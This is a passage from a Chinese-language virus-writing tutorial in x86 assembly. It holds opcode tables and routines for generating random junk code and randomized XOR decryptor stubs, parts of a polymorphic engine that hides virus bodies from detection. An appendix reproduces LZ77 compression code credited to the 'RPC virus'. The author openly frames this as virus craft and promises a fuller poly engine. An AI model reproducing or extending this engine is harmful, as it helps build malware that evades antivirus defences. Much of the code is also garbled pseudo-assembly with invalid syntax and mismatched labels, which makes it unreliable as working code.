                 db 81h,EEh,00h,00h,00h,00h
                 db 81h,EFh,00h,00h,00h,00h
                 db 81h,FBh,00h,00h,00h,00h
                 db 81h,F9h,00h,00h,00h,00h
                 db 81h,FAh,00h,00h,00h,00h
                 db 81h,FEh,00h,00h,00h,00h
                 db 81h,FFh,00h,00h,00h,00h
             Asm_xxxregimm32_end:
             Asm_reg_table:
                 db 00h;eax
                 db 03h;ebx
                 db 01h;ecx
                 db 02h;edx
                 db 06h;esi
                 db 07h;edi
                 db 05h;ebp
                 db 04h;esp
             Asm_reg_end:

      ;a) xchg eax, ebx --> 93h     --> 1001 0011b
      ;b) xchg eax, ecx --> 91h     --> 1001 0001b
      ;c) xchg eax, edx --> 92h     --> 1001 0010b
      ;d) xchg eax, esi --> 96h     --> 1001 0110b
      ;e) xchg eax, edi --> 97h     --> 1001 0111b
      ;f) xchg ebx, ecx --> 87h D9h --> 10000111 11011001b
      ;g) xchg ebx, edx --> 87h DAh --> 10000111 11011010b
      ;h) xchg ebx, esi --> 87h DEh --> 10000111 11011110b
      ;i) xchg ebx, edi --> 87h DFh --> 10000111 11011111b
      ;j) xchg ecx, edx --> 87h CAh --> 10000111 11001010b
      ;k) xchg ecx, esi --> 87h CEh --> 10000111 11001110b
      ;l) xchg ecx, edi --> 87h CFh --> 10000111 11001111b
      ;m) xchg edx, esi --> 87h D6h --> 10000111 11010110b
      ;n) xchg edx, edi --> 87h D7h --> 10000111 11010111b
      ;o) xchg esi, edi --> 87h F7h --> 10000111 11110111b
            Asm_Xchg_table1:
                  db 93h              
                  db 91h
                  db 92h
                  db 96h
                  db 97h
            Asm_Xchg_table2:
                  db 87h,D9h
                  db 87h,DAh
                  db 87h,DEh
                  db 87h,DFh
                  db 87h,CAh
                  db 87h,CEh
                  db 87h,CFh
                  db 87h,D6h
                  db 87h,D7h
                  db 87h,F7h
            Asm_Xchg_end:            
    ;  - Mov [eax], reg1: 1000 1001 00xx x000b
    ;      - reg1=ebx: xx x = 01 1  
    ;      - reg1=ecx: xx x = 00 1
    ;      - reg1=edx: xx x = 01 0
    ;      - reg1=esi: xx x = 11 0
    ;      - reg1=edi: xx x = 11 1
    ;- Mov [ebx], reg1: 1000 1001 00xx x011b
    ;      - reg1=eax: xx x = 00 0
    ;      - reg1=ecx: xx x = 00 1
    ;      - reg1=edx: xx x = 01 0
    ;      - reg1=esi: xx x = 11 0
    ;      - reg1=edi: xx x = 11 1
    ;- Mov [ecx], reg1: 1000 1001 00xx x001b
    ;      - reg1=eax: xx x = 00 0
    ;      - reg1=ebx: xx x = 01 1
    ;      - reg1=edx: xx x = 01 0
    ;      - reg1=esi: xx x = 11 0
    ;      - reg1=edi: xx x = 11 1
    ;- Mov [edx], reg1: 1000 1001 00xx x010b
    ;      - reg1=eax: xx x = 00 0
    ;      - reg1=ebx: xx x = 01 1
    ;      - reg1=ecx: xx x = 00 1
    ;      - reg1=esi: xx x = 11 0
    ;      - reg1=edi: xx x = 11 1
    ;- Mov [esi], reg1: 1000 1001 00xx x110b
    ;      - reg1=eax: xx x = 00 0
    ;      - reg1=ebx: xx x = 01 1
    ;      - reg1=ecx: xx x = 00 1
    ;      - reg1=edx: xx x = 01 0
    ;      - reg1=edi: xx x = 11 1
    ;- Mov [edi], reg1: 1000 1001 00xx x111b
    ;      - reg1=eax: xx x = 00 0
    ;      - reg1=ebx: xx x = 01 1
    ;      - reg1=ecx: xx x = 00 1
    ;      - reg1=edx: xx x = 01 0
    ;      - reg1=esi: xx x = 11 0
            Asm_MovExReg1Reg2_table:
                  db 89h,00H
                  db 89h,03H
                  db 89h,01H
                  db 89h,02H
                  db 89h,06H
                  db 89h,07H
            Asm_MovExReg1Reg2_end:
   
    ;- inc eax: 40h
    ;- inc ebx: 43h
    ;- inc ecx: 41h
    ;- inc edx: 42h
    ;- inc esi: 46h
    ;- inc edi: 47h
            Asm_IncDec_table:
                    db 40h
                    db 43H
                    db 41h
                    db 42h
                    db 46h
                    db 47h
                    db 48h
                    db 4Bh
                    db 49h
                    db 4Ah
                    db 4Eh
                    db 4Fh
            Asm_IncDec_end:        

;     - dec eax: 48h
;     - dec ebx: 4Bh
;     - dec ecx: 49h
;     - dec edx: 4Ah
;     - dec esi: 4Eh
;     - dec edi: 4Fh
            
         Asm_Jump_table1:
                     
   ; a) JMP SHORT    --> EBh data8
   ; b) JMP NEAR     --> E9h data16
   ; c) JBE/JNA      --> 76h data8
   ; d) JLE/JNG      --> 7Eh data8
   ; e) JB/JNAE/JC   --> 72h data8
   ; f) JL/JNGE      --> 7Ch data8
   ; g) JZ/JE        --> 74h data8
   ; h) JNE/JNZ      --> 75h data8
   ; i) JAE/JNB/JNC  --> 73h data8
   ; j) JGE/JNL      --> 7Dh data8
   ; k) JA/JNBE      --> 77h data8
   ; l) JG/JNLE      --> 7Fh data8
   ; m) JCXZ         --> E3h data8
   ; n) JNO          --> 71h data8
   ; o) JO           --> 70h data8
   ; p) JP/JPE       --> 7Ah data8
   ; q) JNP/JPO      --> 7Bh data8
   ; r) JNS          --> 79h data8
   ; s) JS           --> 78h data8
   ; t) LOOP         --> E2h data8
   ; u) CALL SHORT   --> E8h data8
                db EBh,00h
                db 76h,00h
                db 7Eh,00h
                db 72h,00h
                db 7Ch,00h
                db 74h,00h
                db 75h,00h
                db 73h,00h
                db 7Dh,00h
                db 77h,00h
                db 7Fh,00h
                db E3h,00h
                db 71h,00h
                db 70h,00h
                db 7Ah,00h
                db 7Bh,00h
                db 79h,00h
                db 78h,00h
;            Asm_Jump_table2:
;                 db E9h,00h,00H
           Asm_Jump_end:
           ;Asm_Callshort db E8h,00h
           ;Asm_Loop      db E2h,00h                 
           Asm_ret_table:
                     ; v) RETN --> C3h
                     ; w) RETF --> CBh
                     ; x) IRET --> CFh
                    db C3h
                    db CBh
                    db CFh
           Asm_ret_end:
Asm_Table_End:

      ;以上是一个代码Table,下面我们将根据Table来生成垃圾代码
      ;(我写这个table的时候差点写个编译器出来)
;输入 ebx为JuneCode长度,eax为其地址
;输出 ecx为0则成功,其他则不成功
ChoiseJundCode:
        pushad
        push ebp
        Call ip_delta
ip_delta:
        pop ebp
        lea ebp,[ebp-offset ip_delta]
        Call MakeBlockTable;与Block数据填充一样,把Asm_*_Table的地址,大小,名称填入
                           ; 结构AsmTable的Num_xx(xx为数字)
;AsmTable结构::
;AsmTable Struc
; Table_addr dd 0
; Table_len dd 0
; Table_NameID dd 0;即Table的序号
; Ends AsmTable
        Call BeginChoiseJuneCode
BeginChoiseJuneCode:
        ;开始选择代码
        Call ChoiseTable;
        .if ebx=3h then
                Call ChoiseCodeWithReg
        .endif
        .if ebx=4h then
                Call spChoiseCodeWithImm32
        .endif
        .if ebx=5h then
                Call ChoiseCodeWithImm32
        .endif
        .if ebx==7h then
                Call spChoiseCode1
        .endif
        .if ebx==8h then
                Call spChoiseCode2
        .endif
        .if ebx=-9h then
                 Call spChoiseCodeWithReg
        .endif
        .if ebx=Ah then
                 Call spChoiseCode1
        .endif
        .if ebx==Bh then
                 Call ChoiseCodeWithImm8
        .endif
        .if ebx==Ch then
                Call spChoiseCode1
        .endif
         Call CheckCodelen
         jmp BeginChoiseJuneCode
ChoiseTable:
         Call GetARndNumMe;生成一个随机数(>2且<=Asm_XX_Table的数目且 <>6h)存入[ebp+RND]中         
         mov ebx,[ebp+RND]
         lea edx,[ebp+Num_&ebx]
         assume  edx:ptr AsmTable              
         mov ebx,dword ptr [edx].Table_Name
         ret         
CheckCodelen:
         pop ebx
         .if ebx<ecx*2 then               
             jmp end_junecode
         .else
             pop eax
             add eax,ecx*2
             push eax
             rep movsw      
         .endif
         sub ebx,ecx*2
         push ebx
         ret
ChoiseCodeWithReg:
           push dword ptr [edx].Table_len/2h
           Call GetARnd;生成一个小于 dword ptr [edx].Table_len/2h的随机数
                       ;存入eax
           mov ebx,dword ptr [edx].table_addr
           mul eax,2h
           add ebx,eax
           lea esi,[ebp+CodeTemp]
           mov ecx,8h
           mov eax,00h
           rep stosw
           lea esi,ebx
           lea edi,[ebp+CodeTemp]
           movsd
           mov ebx,[ebp+CodeTemp]
           push ebx
           push [ebp+offset (asm_reg_end-asm_reg_table)]
           Call GetARnd
           mov dl,[ebp+offset asm_reg_table+eax]
           pop ebx
           add bl,dl
           ;得到真正的机器码了!!!
           lea esi,[ebx]
           pop eax
           mov ecx,2h
           lea edi,[eax]
           ret
spChoiseCodeWithReg:
           push dword ptr [edx].Table_len/2h
           Call GetARnd;生成一个小于 dword ptr [edx].Table_len/2h的随机数
                       ;存入eax
           mov ebx,dword ptr [edx].table_addr
           mul eax,2h
           add ebx,eax
           lea esi,[ebp+CodeTemp]
           mov ecx,8h
           mov eax,00h
           rep stosw
           lea esi,ebx
           lea edi,[ebp+CodeTemp]
           movsd
           mov ebx,[ebp+CodeTemp]
           push ebx
           push [ebp+offset (ps_reg_end-ps_reg_table)]
           Call GetARnd
           mov dl,[ebp+offset ps_reg_table+eax]
           pop ebx
           add bl,dl
           ;得到真正的机器码了!!!
           lea esi,[ebx]
           pop eax
           mov ecx,2h
           lea edi,[eax]
           ret
ChoiseCodeWithImm32:
           mov eax,dword ptr [edx].Table_len
           Div eax,6h
           push eax
           Call GetARnd;生成一个小于 dword ptr [edx].Table_len/12的随机数
                       ;存入eax
           mov ebx,dword ptr [edx].table_addr
           mul eax,6h
           add ebx,eax
           lea esi,[ebp+CodeTemp]
           mov ecx,8h
           mov eax,00h
           rep stosw
           lea esi,ebx
           lea edi,[ebp+CodeTemp]
           mov ecx,6h
           rep movsw
           Call RNDALongImm32;生成一个形如xxxxxxxxh的数
                             ;存入eax中
           sub edi,8h
           lea esi,[eax]
           mov ecx,4h
           rep movsw
           ;not [ebp+CodeTemp]
           lea esi,[ebp+CodeTemp]
           pop eax
           lea edi,[eax]
           push eax
           mov ecx,6h
           ret
spChoiseCodeWithImm32:
           mov eax,dword ptr [edx].Table_len
           Div eax,5h
           push eax
           Call GetARnd;生成一个小于 dword ptr [edx].Table_len/5h的随机数
                       ;存入eax
           mov ebx,dword ptr [edx].table_addr
           mul eax,5h
           add ebx,eax
           lea esi,[ebp+CodeTemp]
           mov ecx,8h
           mov eax,00h
           rep stosw
           lea esi,ebx
           lea edi,[ebp+CodeTemp]
           mov ecx,5h
           rep movsw
           Call RNDALongImm32;生成一个形如xxxxxxxxh的数
                             ;存入eax中
           sub edi,8h
           lea esi,[eax]
           mov ecx,4h
           rep movsw
           ;not [ebp+CodeTemp]
           lea esi,[ebp+CodeTemp]
           pop eax
           lea edi,[eax]
           push eax
           mov ecx,5h
           ret     
ChoiseCodeWithImm8:
           mov eax,dword ptr [edx].Table_len
           Div eax,4h
           push eax
           Call GetARnd;生成一个小于 dword ptr [edx].Table_len/4的随机数
                       ;存入eax
           mov ebx,dword ptr [edx].table_addr
           mul eax,4h
           add ebx,eax
           lea esi,[ebp+CodeTemp]
           mov ecx,8h
           mov eax,00h
           rep stosw
           lea esi,ebx
           lea edi,[ebp+CodeTemp]
           mov ecx,2h
           rep movsw
           Call RNDALongImm8;生成一个形如xxh的数
                             ;存入eax中
           sub edi,2h
           lea esi,[eax]
           movsw
           ;not [ebp+CodeTemp]
           lea esi,[ebp+CodeTemp]
           pop eax
           lea edi,[eax]
           push eax
           mov ecx,2h
           ret   

        
sp_reg_table:
db 00h
db 18h
db 08h
db 30h
db 38h
db 28h
db 20h
sp_reg_table
    ;   eax = 00000000b
    ;   ebx = 00011000b
    ;   ecx = 00001000b
    ;   edx = 00010000b
    ;   esi = 00110000b
    ;   edi = 00111000b
    ;   ebp = 00101000b
    ;   esp = 00100000b
spChoiseCode1:
           push dword ptr [edx].Table_len
           Call GetARnd;生成一个小于 dword ptr [edx].Table_len的随机数
                       ;存入eax
           mov ebx,dword ptr [edx].table_addr
           add ebx,eax
           lea esi,[ebp+CodeTemp]
           mov ecx,8h
           mov eax,00h
           rep stosw
           lea esi,ebx
           lea edi,[ebp+CodeTemp]
           movsw
           mov ebx,[ebp+CodeTemp]
           lea esi,[ebx]
           pop eax
           lea edi,[eax]
           mov ecx,1h
           push eax
           ret
spChoiseCode2:
           push dword ptr [edx].Table_len/2h
           Call GetARnd;生成一个小于 dword ptr [edx].Table_len/4h的随机数
                       ;存入eax
           mov ebx,dword ptr [edx].table_addr
           mul eax,2h
           add ebx,eax
           lea esi,[ebp+CodeTemp]
           mov ecx,8h
           mov eax,00h
           rep stosw
           lea esi,ebx
           lea edi,[ebp+CodeTemp]
           movsd            
           mov ebx,[ebp+CodeTemp]
           lea esi,[ebx]
           pop eax
           lea edi,[eax]
           push eax
           mov ecx,2h                 
           ret
end_junecode:
           popad            
           ret
TempCode dd Max_path (00h)
;其它代码略...                           

             方案C:
                  ;不属于本次讨论的范围                                                              

                 (二).解密代码的生成
                    我在前面的论述中已经反复介绍了很多遍加密解密的问题
              现在该是真的来研究这个问题的时候了,我现在先讲加密的问题::
                         加密的算法很多,但是目前看起来比较好用只有XOR,像
                     RSA,DES等等算法都...(太长太恶心了),不太适应病毒。
                    我们这一章主要部分是解密代码的生成::
                          我提供了一个我使用了很久的生成代码实例::
                          ;你还可以用上Push_table和Pop_table甚至更多(以后我会写一个poly Engine给大家欣赏的)

             Asm_LeaRegImm32_Table:
                 db 8Dh,85h,00h,00h,00h,00h;eax
                 db 8Dh,9Dh,00h,00h,00h,00h;ebx
                 db 8Dh,8Dh,00h,00h,00h,00h;ecx
                 db 8Dh,95h,00h,00h,00h,00h;edx
                 db 8Dh,B5h,00h,00h,00h,00h;esi
                 db 8Dh,BDh,00h,00h,00h,00h;edi
             Asm_LeaRegImm32_end:

             Asm_XorReg1Reg2_Table:
                 db 33h,C0h;eax
                 db 33h,D8h;ebx
                 db 33h,C8h;ecx
                 db 33h,D0h;edx
                 db 33h,F0h;esi
                 db 33h,F8h;edi
             Asm_XorReg1Reg2_end:
       ;- si reg = eax, 05h xxh xxh xxh xxh
       ;- si reg = ebx, 81h C3h xxh xxh xxh xxh
       ;- si reg = ecx, 81h C1h xxh xxh xxh xxh
       ;- si reg = edx, 81h C2h xxh xxh xxh xxh
       ;- si reg = esi, 81h C6h xxh xxh xxh xxh
       ;- si reg = edi, 81h C7h xxh xxh xxh xxh           
        Asm_AddRegImm32_table:
             db 05h,00h,00h,00h,00h
             db 81h,C3h,00h,00h,00h,00h
             db 81h,C1h,00h,00h,00h,00h
             db 81h,C2h,00h,00h,00h,00h
             db 81h,C6h,00h,00h,00h,00h
             db 81h,C7h,00h,00h,00h,00h
       Asm_AddRegImm32_end:
       Asm_SubRegImm32_table:
     ;  - si reg = eax, 2Dh xxh xxh xxh xxh
     ;  - si reg = ebx, 81h EBh xxh xxh xxh xxh
     ;  - si reg = ecx, 81h E9h xxh xxh xxh xxh
     ;  - si reg = edx, 81h EAh xxh xxh xxh xxh
     ;  - si reg = esi, 81h EEh xxh xxh xxh xxh
     ;  - si reg = edi, 81h EFh xxh xxh xxh xxh
                  db 2Dh,00h,00h,00h,00h        
                  db 81h,EBh,00h,00h,00h,00h
                  db 81h,E9h,00h,00h,00h,00h
                  db 81h,EAh,00h,00h,00h,00h
                  db 81h,EEh,00h,00h,00h,00h
                  db 81h,EFh,00h,00h,00h,00h
       Asm_SubRegImm32_end:
; - Test eax, reg2: 1000 0101 1100 0xxxb
   ; - Test ebx, reg2: 1000 0101 1101 1xxxb
   ; - Test ecx, reg2: 1000 0101 1100 1xxxb
   ; - Test edx, reg2: 1000 0101 1101 0xxxb
   ; - Test esi, reg2: 1000 0101 1111 0xxxb
   ;- Test edi, reg2: 1000 0101 1111 1xxxb
       Asm_TestReg1Reg2_table:
                   db 85h,C0h
                   db 85h,D8H
                   db 85h,C8H
                   db 85h,D0H
                   db 85h,F0H
                   db 85h,F8H
       Asm_TestReg1Reg2_end:
       Asm_TestRegImm32_table:

  ;  - Test eax, imm32: A9h XXh XXh XXh XXh
  ;  - Test ebx, imm32: F7h C3h XXh XXh XXh XXh
  ;  - Test ecx, imm32: F7h C1h XXh XXh XXh XXh
  ;  - Test edx, imm32: F7h C2h XXh XXh XXh XXh
  ;  - Test esi, imm32: F7h C6h XXh XXh XXh XXh
  ;  - Test edi, imm32: F7h C7h XXh XXh XXh XXh
             db A9h,00h,00h,00h,00h
             db F7h,C3h,00h,00h,00h,00h
             db F7h,C1h,00h,00h,00h,00h
             db F7h,C2h,00h,00h,00h,00h
             db F7h,C6h,00h,00h,00h,00h
             db F7h,C7h,00h,00h,00h,00h
       Asm_TestRegImm32_end:
       Asm_movregimm32_table:
                 db B8h,00h,00h,00h,00h;我们加入Imm32时这样子::add eax,xxxxxxxxh
                 db BBh,00h,00h,00h,00h
                 db B9h,00h,00h,00h,00h
                 db BAh,00h,00h,00h,00h
                 db BEh,00h,00h,00h,00h
                 db BFh,00h,00h,00h,00h
      Asm_movregimm32_end:
    ;-mov reg,imm32:
    ;   - si reg = eax, B8h xxh xxh xxh xxh
    ;   - si reg = ebx, BBh xxh xxh xxh xxh
    ;   - si reg = ecx, B9h xxh xxh xxh xxh
    ;   - si reg = edx, BAh xxh xxh xxh xxh
    ;   - si reg = esi, BEh xxh xxh xxh xxh
    ;   - si reg = edi, BFh xxh xxh xxh xxh
      Asm_reg_table:
                 db 00h;eax
                 db 03h;ebx
                 db 01h;ecx
                 db 02h;edx
                 db 06h;esi
                 db 07h;edi
                ; db 05h;ebp
                ; db 04h;esp
      Asm_reg_end:

;in eax==addr of @decry_XX_I0
;   ebx==addr of @decry_XX_Imain
;   ecx==length of @decry_XX_I0
;   edx==length of @decry_XX_Imain
;  ebp==delta!!!
ChoiseDecryCode:
    ;使用Decry的方法::
    ;XXX:
    ; @Seh_SetupFrame <jmp @decry_xxx_I0>
    ;@june_code:db 32*4 Dup (90h)
    ;@decry_xxx_I0: db 32*4 DUP(90h)
    ;@decry_xxx_Imain:db 32*4 DUP(90)
    ;@decry_xxx_Iend:jnz @decry_xxx_Imain
    ;XXX_r:实际代码
    mov [ebp+addr1],eax
    mov [ebp+addr2],ebx
    mov [ebp+CTN],00h
    pushad
    lea esi,[ebp+DecryTempCode1]
    mov eax,00h
    mov ecx,32*4
    rep stosb
    lea esi,[ebp+DecryTempCode2]
    mov eax,00h
    mov ecx,32*4
    rep stosb
    Call ChoiseKeyReg
    Call ChoiseAddrReg
    Call ChoiseLenReg
    rep movsw
    Call ChoiseCodeToXor
    Call ChoiseCodeToAdd
    Call ChoiseCodeToSub
    Call ChoiseCodeToTest
    rep movsw
    popad
    ret
ChoiseKeyReg:
    mov eax,[ebp+offset (asm_reg_end-asm_reg_table)]
    ;div eax,2h
    push eax
    Call GetARnd
    mov bl,[ebp+offset asm_reg_end+eax]
    mov [ebp+KeyReg],bl
    mov [ebp+KeyNum],eax
    mul eax,5h
    lea esi,[ebp+offset asm_movregImm32_table+eax]
    lea edi,[ebp+DecryTempCode1]
    mov ecx,5h
    rep movsw
    sub edi,8h
    mov ebx,[ebp+CryKey]
;     not ebx
    lea esi,[ebx]
    mov ecx,2h
    rep movsd   
    ret
ChoiseAddrReg:
    push edi
    push eax
rndreg:
    pop eax
    mov eax,[ebp+offset (asm_reg_end-asm_reg_table)]
    ;div eax,2h
    push eax
    Call GetARnd
    mov bl,[ebp+offset asm_reg_end+eax]
    mov [ebp+AddrNum],eax
    push eax
    mov al,[ebp+KeyReg]
    mov [ebp+AddrReg],bl
    cmp bl,al
    jz rndreg
R_0:
    pop eax
    mul eax,6h
    lea esi,[ebp+offset asm_learegImm32_table+eax]
    pop edi
    mov ecx,6h
    rep movsw
    sub edi,8h
    mov ebx,[ebp+Addr_XXX_r]
    ;not ebx
    lea esi,[ebx]
    mov ecx,2h
    rep movsd   
    ret
ChoiseLenReg:
          push edi
          push eax   
rndreg_1:

    mov eax,[ebp+offset (asm_reg_end-asm_reg_table)]
    ;div eax,2h
    push eax
    Call GetARnd
    mov bl,[ebp+offset asm_reg_end+eax]
    mov [ebp+lenNum],eax
    push eax
    mov al,[ebp+KeyReg]
    mov [ebp+LenReg],bl
    cmp bl,al
    jz rndreg_1
    mov bl,[ebp+LenReg]
    mov al,[ebp+AddReg]
    cmp al,bl
    jz rndreg_1
R_1:
    pop eax
    mul eax,5h
    lea esi,[ebp+offset asm_movregImm32_table+eax]
    pop edi
    mov ecx,5h
    rep movsw
    sub edi,8h
    mov ebx,[ebp+lenof_XXX_r]
    ;not ebx
    lea esi,[ebx]
    mov ecx,2h
    rep movsd  
    lea edi,[ebp+Addr1]
    lea esi,[ebp+DeCryTempCode1]
    mov ecx, 10h
    ret   
ChoiseCodeToXor:
    mov eax,[ebp+AddrNum]
    mul eax,2h
    lea esi,[ebp+offset asm_xorreg1reg2_table+eax]
    lea edi,[ebp+DecryTempCode2]
    mov ecx,2h
    mov ebx,[ebp+CTN]
    add ebx,ecx
    mov [ebp+CTN],ebx   
    rep movsw
    mov eax,[ebp+KeyNum]
    mov bl,[ebp+offset asm_reg_end+eax]
    mov edx,[ebp+DecryTempCode2]
    not edx
    add dl,bl
    not edx
    mov [ebp+DecryTempCode2],edx
    ret
ChoiseCodeToAdd:
    push edi
    mov eax,[ebp+AddrNum]
    .if eax!=0h then
      sub eax,1h
      mul eax,6h
      add eax,5h
    .endif   
    lea esi,[ebp+offset asm_AddregImm32_table+eax]
    pop edi
    .if eax==0h then
      mov ecx,5h
    .else
      mov ecx,6h
    .endif
    mov ebx,[ebp+CTN]
    add ebx,ecx
    mov [ebp+CTN],ebx
    rep movsw
    sub edi,8h
    mov ebx,[ebp+LenofKey]
    ;not ebx
    lea esi,[ebx]
    mov ecx,4h
    rep movsw
    ret
ChoiseCodeToSub:
    push edi
    mov eax,[ebp+LenNum]
    .if eax!=0h then
      sub eax,1h
      mul eax,6h
      add eax,5h
    .endif  
    lea esi,[ebp+offset asm_SubregImm32_table+eax]
    pop edi
    .if eax==1h then
      mov ecx,5h
    .else
      mov ecx,6h
    .endif
    mov ebx,[ebp+CTN]
    add ebx,ecx
    mov [ebp+CTN],ebx
    rep movsw
    sub edi,8h
    mov ebx,[ebp+LenofKey]
   ;not ebx
    lea esi,[ebx]
    mov ecx,4h
    rep movsw
    ret
ChoiseCodeToTest:
    push edi
    mov eax,[ebp+LenNum]
    .if eax!=0h then
      sub eax,1h
      mul eax,6h
      add eax,5h
    .endif  
    lea esi,[ebp+offset asm_TestregImm32_table+eax]
    pop edi
    .if eax==1h then
      mov ecx,5h
    .else
      mov ecx,6h
    .endif
    mov ebx,[ebp+CTN]
    add ebx,ecx
    mov [ebp+CTN],ebx
    rep movsw
    lea edi,[ebp+Addr2]
    lea esi,[ebp+DecryTempCode2]
    mov ecx,[ebp+CTN]
    ret  

            
                     

                    附录A.几个压缩算法
                          ;本来想写个单独的章节介绍压缩不过为了突出主题,只好放在附录A了
                          算法A:
                          ;来自RPC病毒的代码的Lz77
;extern "C"
;void __declspec(naked) WINAPI
;LZ77Compress(
;   PUCHAR  __pDataBuffer,
;   ULONG   __ulDataLength,
;   PUCHAR  __pOutputBuffer,
;   PULONG  __pulNumberOfBits
;   )
;//{

;*********************************************************************
;*                                                                   *
;*  LZ77Compress()                                                   *
;*      [Param1]                                                     *
;*      [Param2]                                                     *
;*      [Param3]                                                     *
;*      [Param4]                                                     *
;*                                                                   *
;*  Remarks:                                                         *
;*      Decompress the data.                                         *
;*                                                                   *
;*  Parameters:                                                      *
;*      [Param1]                                                     *
;*      Point to the buffer containing the data that will be         *
;*      compressed.                                                  *
;*      [Param2]                                                     *
;*      The total bytes of the data that will be compressed          *
;*      [Param3]                                                     *
;*      Point to the buffer where the data will be stored after      *
;*      compression.                                                 *
;*      [Param4]                                                     *
;*      Point to the variable that will save the number of bits of   *
;*      the data after compression                                   *
;*                                                                   *
;*  Return value:                                                    *
;*      None.                                                        *
;*                                                                   *
;*********************************************************************

BASE_OFFSET         =   (36)
pDataBuffer         =   (BASE_OFFSET)
ulDataLength        =   (BASE_OFFSET+4)
pOutputBuffer       =   (BASE_OFFSET+8)
pulNumberOfBits     =   (BASE_OFFSET+12)
iSlideWindowPtr     =   (-4)
ulBytesCoded        =   (-8)
ulBytesDecoded      =   (-8)
ulLength            =   (-12)
ulOffset            =   (-16)
pSlideWindowPtr     =   (-20)

LZ77Compress:

      pushad
      mov ebp, esp

      xor ebx, ebx ; Intialize ulBitOffset
      mov esi, [ebp][pDataBuffer] ; Initialize pUncodedDataPtr
      mov edi, [ebp][pOutputBuffer]

      push -MAX_WND_SIZE  ; Initialize iSlideWindowPtr
      push 0              ; Initialzie ulBytesCoded
      sub esp, 3 * 4

lp_CompressDataWithLZ77:

      mov edx, [ebp][ulBytesCoded]
      cmp edx, 00001000h
      jb lb_NotAssumeDataCompressibility

      mov ecx, ebx                            ;After MAX_WND_SIZE bytes data have been
      shr ecx, 3                              ;compressed, we should assume the
      cmp ecx, edx                            ;compressibility of the data.
      jbe lb_DataCompressibilityIsStillGood   ;

      xor ebx, ebx
      jmp lb_ExitLZ77Compress

lb_NotAssumeDataCompressibility:
lb_DataCompressibilityIsStillGood:
      ;mov eax, [ebp][ulBytesCoded]
      ;cmp eax, [ebp][ulDataLength]
      mov eax, [ebp][ulDataLength]
      sub eax, [ebp][ulBytesCoded]
      jbe lb_AllBytesCompressed

      push eax
      mov eax, [ebp][iSlideWindowPtr]
      mov edx, [ebp][pDataBuffer] ; edx holds pSlideWindowPtr
      mov ecx, MAX_WND_SIZE ; ecx holds ulMaxStringLength

      cmp eax, 0
      jl lb_L01_1
      add edx, eax
      jmp lb_L01_3
lb_L01_1:
      cmp eax, -MAX_WND_SIZE
      jl lb_L01_2
      add ecx, eax
      jmp lb_L01_3
lb_L01_2:
      xor ecx, ecx
      xor edx, edx
lb_L01_3:

      pop eax
      cmp eax, ecx
      jae lb_BytesLeftMoreThanMaxWndSize
      mov ecx, eax
lb_BytesLeftMoreThanMaxWndSize:
      call FindSubStringWithMaxLength

      mov eax, [ebp][ulLength]
      cmp eax, 1
      jle lb_MatchedStringLengthIsLessThan1

      call Write1ToBitStream

      mov eax, [ebp][ulOffset]
      mov ecx, OFFSET_CODING_LENGTH
      call WriteBitsToBitStream

      mov eax, [ebp][ulLength]
      call WriteGolombCode

      mov eax, [ebp][ulLength]
      add esi, eax
      add [ebp][iSlideWindowPtr], eax
      add [ebp][ulBytesCoded], eax
      jmp lp_CompressDataWithLZ77

lb_MatchedStringLengthIsLessThan1:

      call Write0ToBitStream

      mov eax, [esi]
      push 8
      pop ecx
      call WriteBitsToBitStream

      inc esi
      inc dword ptr [ebp][iSlideWindowPtr]
      inc dword ptr [ebp][ulBytesCoded]

      jmp lp_CompressDataWithLZ77

lb_AllBytesCompressed:

lb_ExitLZ77Compress:

      mov eax, [ebp][pulNumberOfBits]
      mov [eax], ebx

      mov esp, ebp
      popad
      ret 16

;*********************************************************************
;*                                                                   *
;*  WriteBitsToBitStream()                                           *
;*                                                                   *
;*  Remarks:                                                         *
;*      Writing a series of bits to the bit stream.                  *
;*                                                                   *
;*  Parameters:                                                      *
;*      [Edi]                                                        *
;*      Point to the base address of the bit stream. The address is  *
;*      byte-boundary.                                               *
;*      [Ebx]                                                        *
;*      The offset in the bit stream where the new bits will         *
;*      be written.                                                  *
;*      [Eax]                                                        *
;*      The bits that will be wtitten to the bit stream.             *
;*      [Ecx]:                                                       *
;*      The number of bits that will be written to the bit stream.   *
;*                                                                   *
;*  Return value:                                                    *
;*      None.                                                        *
;*                                                                   *
;*********************************************************************
WriteBitsToBitStream:

lp_LoopOfWritingOffset:

      shr eax, 1
      jc lb_CurrentBitIs1

      call Write0ToBitStream
      jmp lb_WriteNextBit

lb_CurrentBitIs1:

      call Write1ToBitStream

lb_WriteNextBit:

      loop lp_LoopOfWritingOffset
      ret

;*********************************************************************
;*                                                                   *
;*  Write1ToBitStream()                                              *
;*                                                                   *
;*  Remarks:                                                         *
;*      Writing 1 to the bit stream.                                 *
;*                                                                   *
;*  Parameters:                                                      *
;*      [Edi]                                                        *
;*      Point to the base address of the bit stream. The             *
;*      address is byte-boundary.                                    *
;*      [Ebx]                                                        *
;*      The offset in the bit stream where the data 1 will           *
;*      be written.                                                  *
;*                                                                   *
;*  Return value:                                                    *
;*      None.                                                        *
;*                                                                   *
;*********************************************************************
Write1ToBitStream:

lb_Write1ToBitStream:

      push edx
      push ecx
      push eax
      mov eax, ebx
      shr eax, 3
      add eax, edi
      mov ecx, ebx
      and ecx, 7
      push 1
      pop edx
      shl edx, cl
      or [eax], dl
      pop eax
      pop ecx
      pop edx
      inc ebx
      ret

;*********************************************************************
;*                                                                   *
;*  Write0ToBitStream                                                *
;*                                                                   *
;*  Remarks:                                                         *
;*      Writing 0 to the bit stream.                                 *
;*                                                                   *
;*  Parameters:                                                      *
;*      [Edi]                                                        *
;*      Point to the base address of the bit stream. The address is  *
;*      byte-boundary.                                               *
;*      [Ebx]                                                        *
;*      The offset in the bit stream where the data 0 will           *
;*      be written.                                                  *
;*                                                                   *
;*  Return value:                                                    *
;*      None.                                                        *
;*                                                                   *
;*********************************************************************
Write0ToBitStream:

lb_Write0ToBitStream:

      push edx
      push ecx
      push eax
      mov eax, ebx
      shr eax, 3
      add eax, edi
      mov ecx, ebx
      and ecx, 7
      push 1
      pop edx
      shl edx, cl
      not edx
      and [eax], dl
      pop eax
      pop ecx
      pop edx
      inc ebx
      ret

;*********************************************************************
;*                                                                   *
;*  CompareStrings()                                                 *
;*                                                                   *
;*  Remarks:                                                         *
;*      Compare two strings.                                         *
;*                                                                   *
;*  Parameters:                                                      *
;*      [Ecx]                                                        *
;*      Point to string1.                                            *
;*      [Edi]                                                        *
;*      Point to string2.                                            *
;*      [Ecx]                                                        *
;*      The max length of comparation length.                        *
;*                                                                   *
;*  Return value:                                                    *
;*      None.                                                        *
